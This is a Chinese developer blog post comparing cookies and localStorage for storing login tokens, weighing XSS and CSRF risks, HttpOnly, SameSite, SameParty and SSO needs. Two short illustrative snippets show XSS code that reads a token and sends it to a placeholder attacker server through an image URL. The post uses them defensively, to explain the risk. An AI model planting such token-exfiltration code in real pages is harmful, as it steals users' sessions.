token到底该怎么存?你想过这个问题吗?

·  阅读 4839

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第3天,点击查看活动详情

token存cookie还是localStorage,存哪个更安全、哪个能实现需求,下面就该问题展开讨论。

首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。

如果SSO是通过跳转到认证中心进行登录态校验,然后回跳携带token的方式(类似第三方微信登录),那localStorage也是可行的,但体验就没有那么好了,具体需要进行取舍。

从XSS角度看

XSS攻击的危害是非常大的,所以我们无论如何都是要避免的;不过幸运的是,大部分XSS攻击浏览器都帮我们进行了有效的处理。

但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?

localStorage

因为本地存储是可以被JS任意读写的,攻击者可以如果成功的进行了XSS,那么存在本地存储中的token,会被轻松拿到,甚至被发送到攻击者的服务器存储起来。

  // XSS
  const token = localStorage.getItem('token')
  const image = new Image()
  image.src = `攻击者的服务器地址?token=${token}`
复制代码

cookie

如果cookie不做任何设置,和localStorage基本一致,被XSS攻击时也可以轻松的拿到token。

  // 以下代码来自MDN
  // https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie
  const getCookie = (key) => {
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(key).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
  }

  const token = getCookie('token')
  const image = new Image()
  image.src = `攻击者的服务器地址?token=${token}`
复制代码

好在cookie提供了HttpOnly属性,它的作用是让该cookie属性只可用于http请求,JS不能读取;它的兼容性也非常不错(如果说你要兼容老古董IE8,那当我没说)。

HttpOnly兼容性.png

以下是express定义的一个登录接口示例:

  router.post('/login', async(req, res, next) => {
    const token = Math.random()
    res.header({
      'Set-Cookie': `token=${token}; HttpOnly`,
    }).send({
      code: 0,
      message: 'login success'
    })
  })
复制代码

仅管经过这样的设置,依然仅仅只是避免了远程XSS;因为就算开启了HttpOnly,使得JS不能读取,但攻击者仍可实施现场攻击,就是攻击是由用户自己的设备触发的;攻击者可以不知道用户的token,但可以在XSS代码中,直接向服务端发送请求。

这就是为什么前面说XSS攻击我们无论如何都是要避免的,但不是说防御XSS仅仅只是为了token的安全。

从CSRF角度看

localStorage

从CSRF角度来看,因为localStorage是域名隔离的,第三方域名是完全无法读取,这是localStorage的天然优势。

cookie

因为cookie是在发送请求时被浏览器自动携带的,这个机制是一把双刃剑,好处是可以基于此实现SSO,坏处就是CSRF攻击由此诞生。

防御cookie带来的CSRF攻击有如下方案:

csrfToken

通过JS读取cookie中的token,添加到请求参数中(csrfToken),服务端将cookie中的token和csrfToken进行比对,如果相等则是正常请求;

这种做法虽说避免了CSRF,但不能满足SSO需求,因为要添加一个额外的请求参数;而且不能开启HttpOnly属性(伴随着存在远程XSS的风险),因为要供JS读取,如此一来基本和localStorage一致了。

SameSite

cookie有个SameSite属性,它有三种取值(引用自MDN):

  • None
    • 浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
  • Strict
    • 浏览器将只在访问相同站点时发送 cookie。
  • Lax
    • 与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接

注意:之前的SameSite未设置的情况下默认是None,现在大部分浏览器都准备将SameSite属性迁移为Lax。

设置了SmaeSite为非None时,则可避免CSRF,但不能满足SSO需求,所以很多的开发者都将SameSite设置成了None。

SameSite的兼容性:

SameSite兼容性.png

未来的完美解决方案(SameParty)

cookie的SameParty,这个方案算得上是终极解决方案,但很多浏览器都暂未实现。

这个方案允许我们将一系列不同的域名配置为同一主体运营,即可以在多个指定的不同域名下都可以访问到cookie,而配置之外的域名则不可访问,即避免了CSRF又保证了SSO需求的可行性。

具体使用:

1、在各个域名下的/.well-known/first-party-set路径下,配置一个JSON文件。

主域名:

 {
   "owner": "主域名",
   "version": 1,
   "members": ["其他域名1", "其他域名2"]
 }
复制代码

其他域名:

 {
   "owner": "当前域名"
 }
复制代码

2、服务端设置SameParty

  router.post('/login', async(req, res, next) => {
    const token = Math.random()
    res.header({
      'Set-Cookie': `token=${token}; SameParty; Secure; SameSite=Lax;`,
    }).send({
      code: 0,
      message: 'login success'
    })
  })
复制代码

注意:使用SameParty属性时,必须要开启secure,且SameSite不能是strict。

总结

序号方式是否存在远程XSS是否存在CSRF是否支持SSO兼容性
1localStorage
2cookie,未开启HttpOnly,SameSite为None
3cookie,未开启HttpOnly,SameSite为None,增加csrfToken
4cookie,开启HttpOnly,SameSite为NoneIE8之后
5使用cookie,开启HttpOnly,设置了SameSite非NoneIE10之后,IE11部分;Chrome50之后
  1. 如果不需要考虑SameSite的兼容性,使用localStorage不如使用cookie,并开启HttpOnly、SameSite。
  2. 如果你需要考虑SameSite的兼容性,同时也没有SSO的需求,那么就用localStorage吧,不过要做好XSS防御。
  3. 将token存储到localStorage并没有那么不安全,大部分XSS攻击浏览器都帮我们进行了有效的处理,不过如果沦落到需要考虑SameSite的兼容性了,可能那些版本的浏览器不存在这些XSS的防御机制;退一步讲如果遭受了XSS攻击,就算是存储在cookie中也会受到攻击,只不过被攻击的难度提升了,后果也没有那么严重。
  4. 如果有SSO需求,使用cookie,在SameParty可以使用之前,我们可以做好跨域限制、CSRF防御等安全工作。
  5. 如果可以,我是说如果,多系统能部署到一个域名的多个子域名下,避免跨站,那是最好,就可以既设置SameSite来避免CSRF,又可以实现SSO。

总的来说,cookie的优势是多余localStorage的。

我们的做法

因为我们是需要SSO的,所以使用了cookie,配套做了一些的安全防御工作。

  • 开启HttpOnly,SameSite为none
  • 认证中心获取code,子系统通过code换取token
  • 接口全部采用post方式
  • 配置跨域白名单
  • 使用https

参考

juejin.cn/post/700201…

分类:
前端
收藏成功!
已添加到「」, 点击更改